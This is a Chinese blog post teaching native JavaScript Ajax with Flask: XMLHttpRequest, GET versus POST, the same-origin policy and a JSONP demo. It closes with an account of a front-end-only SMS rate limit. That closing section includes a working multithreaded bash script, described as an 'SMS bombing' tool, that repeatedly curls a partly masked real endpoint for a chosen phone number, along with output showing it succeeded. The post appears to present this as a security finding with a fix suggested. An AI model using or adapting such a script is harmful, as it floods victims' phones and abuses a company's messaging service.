原生JS实现简单Ajax

很久没更新了,做点小笔记。以前就一直纳闷有些页面的数据在没有刷新网页的情况下是实时更新的….原来就是传说中的Ajax~~

ajax

Ajax(Asynchronous Javascript And XML),其是一种基于javascript的web开发技巧,可以实现在不刷新页面的情况下实现和web后台进行数据交互,正如名字是异步的js调用,绝大部分的ajax都应用于异步的场景,首先我们需要了解什么是异步调用?说下我的理解(xia bi bi):

尝试以网络编程中线程异步模型的去考虑:当我们用户到源站或CDN下载到页面源码,浏览器会调用javascript引擎解释执行js代码,在需要和后台进行数据交互的时候,发起一个数据请求的函数调用,此时用户线程立即返回,用户线程在这个调用不会陷入阻塞状态,这样我们的数据请求会被以后台线程的形式交由js引擎来处理,js引擎将请求发往服务器端并与其交互数据,完成一次交互,当内核接受完数据,js引擎会发起一个callback信号来通知js应用程序(类似于网编中SIGIO这种),js的应用程序根据响应的信号来进行数据的处理。

在JavaScript的世界中,所有代码都是单线程执行的,导致JavaScript的所有网络操作、浏览器事件,都必须是异步执行,通过事件触发回调函数进行处理

ajax可以基于事件的触发实时从后台获取数据,这是很强大的功能,但是ajax不一定非要设置为异步。

POST和GET

下面讨论两个HTTP method,浏览器在向服务器提交请求的时候有两种方式,就是POST和GET,这两种有什么区别呢?总结一下:

  • GET一般用来下载,而POST是用于提交数据
  • 提交表单的时候,表单的数据会编码进URL(ASCII码),且长度一般受限制(以浏览器为准),POST没有限制
  • GET是有状态的,请求结果包含了一些信息
  • 当method为get的时候,action属性的url后面的参数是会省略的,如你编码了一个http://www.zhxfei.com/login.php?Username=zhxfei&password=123456 的http请求,如果用Post方法去提交表单的时候,会被忽视(文章结尾有个小案例有兴趣可以看一下)
  • 可以这么说,GET是不安全的,POST是相对安全的,因为GET将form提交的参数提交给了服务器,会显示在url中并且很有可能被浏览器记录
    post方式提交表单,参数分为两部分:一部分是action中的参数放在地址栏;另一部分是表单中的参数放在请求的头中;所以所有的数据后台全部能获得。

与 POST 相比,GET 更简单也更快,并且在大部分情况下都能用,然而,在以下情况中,请使用 POST 请求:

  • 无法使用缓存文件(更新服务器上的文件或数据库)
  • 向服务器发送大量数据(POST 没有数据量限制)
  • 发送包含未知字符的用户输入时,POST 比 GET 更稳定也更可靠

实验(js+flask)

HTML
一般浏览器都是通过请求到的包含ajax代码的页面进行解释,调用ajax实例,以后继续补坑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ajax</title>
<script language="JavaScript">
function loadXmlDoc(){
var xmlhttp = createXmlHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
//ajax的回调处理
//document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
var person = JSON.parse(xmlhttp.responseText);
document.write(person.name +" age is " +person.age);
}
}
xmlhttp.open("GET","/api/test.txt",true);
xmlhttp.send(); //调用send()方法才真正发送请求
}
//ajax对象的工厂函数
function createXmlHttpRequest(){
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else if(window.ActiveXObject)
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
</script>
</head>
<body>
<div id="myDiv"><h3>Let AJAX change this text</h3></div>
<button type="button" onclick="loadXmlDoc()">Change Content</button>
</body>
</html>

每当 readyState 改变时,就会触发onreadystatechange 事件,onreadystatechange 事件会被触发 5 次(0 - 4),对应着 readyState 的每个变化。Ajax请求发起之后,监听判断onreadystatechange ,当满足readystatechange为4且返回的http code为200则视为请求成功

需要注意的是:onreadystatechange会触发5次,且ajax对象的三个参数分别为HTTP方法、URL、是否为异步(true)。

readyState 存有 XMLHttpRequest 的状态。从 0 到 4 发生变化。
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪 //一般我们都关注这个

由于各个浏览器对ajax对象类型不一致,所以这里使用了工厂函数将其封装,保证返回的都是ajax对象

Flask
视图文件,为了简化省去了蓝图,Flask的设置不再赘述不熟悉可以看下官方文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import make_response,render_template,jsonify,request
@app.route('/api/test')
def ajaxTest():
return render_template('restTest.html')
@app.route('/api/test.txt')
def apitest():
return jsonify({
"name":"zhxfei",
"age":21,
}); //返回json的数据格式,jsonify相当于一个mime-type的处理
def create_app():
app = Flask(__name__)
return app

可以看见第一个路由返回的是上面有ajax的页面,第二个页面偷点懒直接返回了json的数据格式(一般需要调用数据库查找)

好了,运行下flask就可以了,看下效果

点击Change Content会返回button

同源策略的限制
默认情况下,JavaScript在发送AJAX请求时,URL的域名必须和当前页面完全一致。(域名,端口,协议http/https等),所以Javascript如何跨域访问资源?

  • 通过Flash插件发送HTTP请求
  • 通过在同源域名下架设一个代理服务器来转发,JavaScript负责把请求发送到代理服务器
  • JSONP,就是写好回调函数,然后给页面动态加一个<script>节点,相当于动态读取外域的JavaScript资源,然后等着接收回调
  • CORS,全称Cross-Origin Resource Sharing,是HTML5规范定义的如何跨域访问资源。
    详见廖大神的教程

这里尝试给出github的JSONP api实现:

HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<script type="text/javascript">
function foo(response) {
var meta = response.meta;
var data = response.data;
//document.getElementById('p1').innerHTML = "Content-Type : "+meta['Content-Type'];
document.getElementById('p1').innerHTML = (function(){
var str="";
for (var i in meta){
str+=i + ":" + meta[i] + "</br>";
}
for (var j in data){
str+=j + ":" +meta[j] + "</br>"
}
return str;
})();
}
function getStart() {
var script = document.createElement('script');
script.src = 'https://api.github.com?callback=foo';
document.getElementsByTagName('head')[0].appendChild(script);
}
</script>
</head>
<body>
<p>跨域访问的资源</p>
<p id="p1"></p>
<p><button type="button" onclick="getStart()">刷新</button></p>
</body>
</html>

Flask
将路由加入上面的View文件

1
2
3
@app.route('/jsonp/test')
def jsonptest():
return render_template('jsonp_test.html')

结果:

点击刷新会加载ajax请求

案例

之前暑期实习的时候遇到这么一个情况,某企业的app server有一个短信验证的漏洞,漏洞的情况大致是这样的:

网银业务注册需要发送手机验证码,这个验证码的发送频率最多一分钟只能发一次,但是这个限制是靠前端的js库完成的,在用户浏览器点击一次,点击发送的按钮就会变成灰色,意思就是如果我用postman这样的工具构造一个和我在正常页面正常发送捕获的的报文一样的报文,那么其实这个限制就成了虚设

踩过的坑就不细说了,时间久了,当时上面让我写个脚本来测试给客户看看,我当时想到的是用现成的POST命令,然后-H <header>选项将报文头全部塞进去,结果是失败了,但是用GET把截获的URL写进去就成功了,当时也不知道为什么,问了leader,他说实现功能就行,囧~~

找了一下还有记录:过滤下敏感信息(有兴趣可以看看URL)

1
2
3
4
for((i=0;i<10;i++))
do
curl "http://mall.*****.com/mall/MsgServlet?methodName=sendMsg\&smsType=0001\&mobilePhone=158****7839" &>/dev/null && echo "success"
done

当时发现脚本跑起来很慢,遂用shell多进程改造了一下,尝试构建FIFO,使用管道深度来控制进程数量,当时最终脚本是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#/bin/bash
#
#write by zhxfei
#discription: This shellscript is for the **** tomcat server ; which can launch a SMS bombing.Support multithreading by bash shell.
if [ $# -ne 3 ];then
echo "Usage:$0 [thread count] [send cout] [telephone number]"
echo
exit 10
fi
tmp_fifofile="/tmp/$$.fifo"
mkfifo "$tmp_fifofile"
exec 6<>"$tmp_fifofile"
rm -f $tmp_fifofile
thread=$1
for((i=0;i<${thread};i++));do
echo
done >&6
for((j=0;j<${2};j++));do
read -u6
{
curl "http://mall.*****.com/mall/MsgServlet?methodName=sendMsg&smsType=0001&mobilePhone=${3}" &>/dev/null && echo "success" >> ./results.txt
echo >&6
}&
done
wait
exec 6>&-
n=`wc -l ./results.txt`
cat /dev/null > ./results.txt
echo "成功发送${n}次验证码"
exit 0

刚试了下,脚本还是可以工作的(他们还上了HTTPS~~然并卵):

1
2
zhxfei@zhxfei-HP-ENVY-15-Notebook-PC:~/code/shell/$ ./shellscripts_for_****.sh 10 10 158****7839
成功发送10 ./results.txt次验证码

在此提醒开发人员要考虑这个问题~比如让ajax把验证码通过post一起传到后端去

坚持原创技术分享,您的支持将鼓励我继续创作!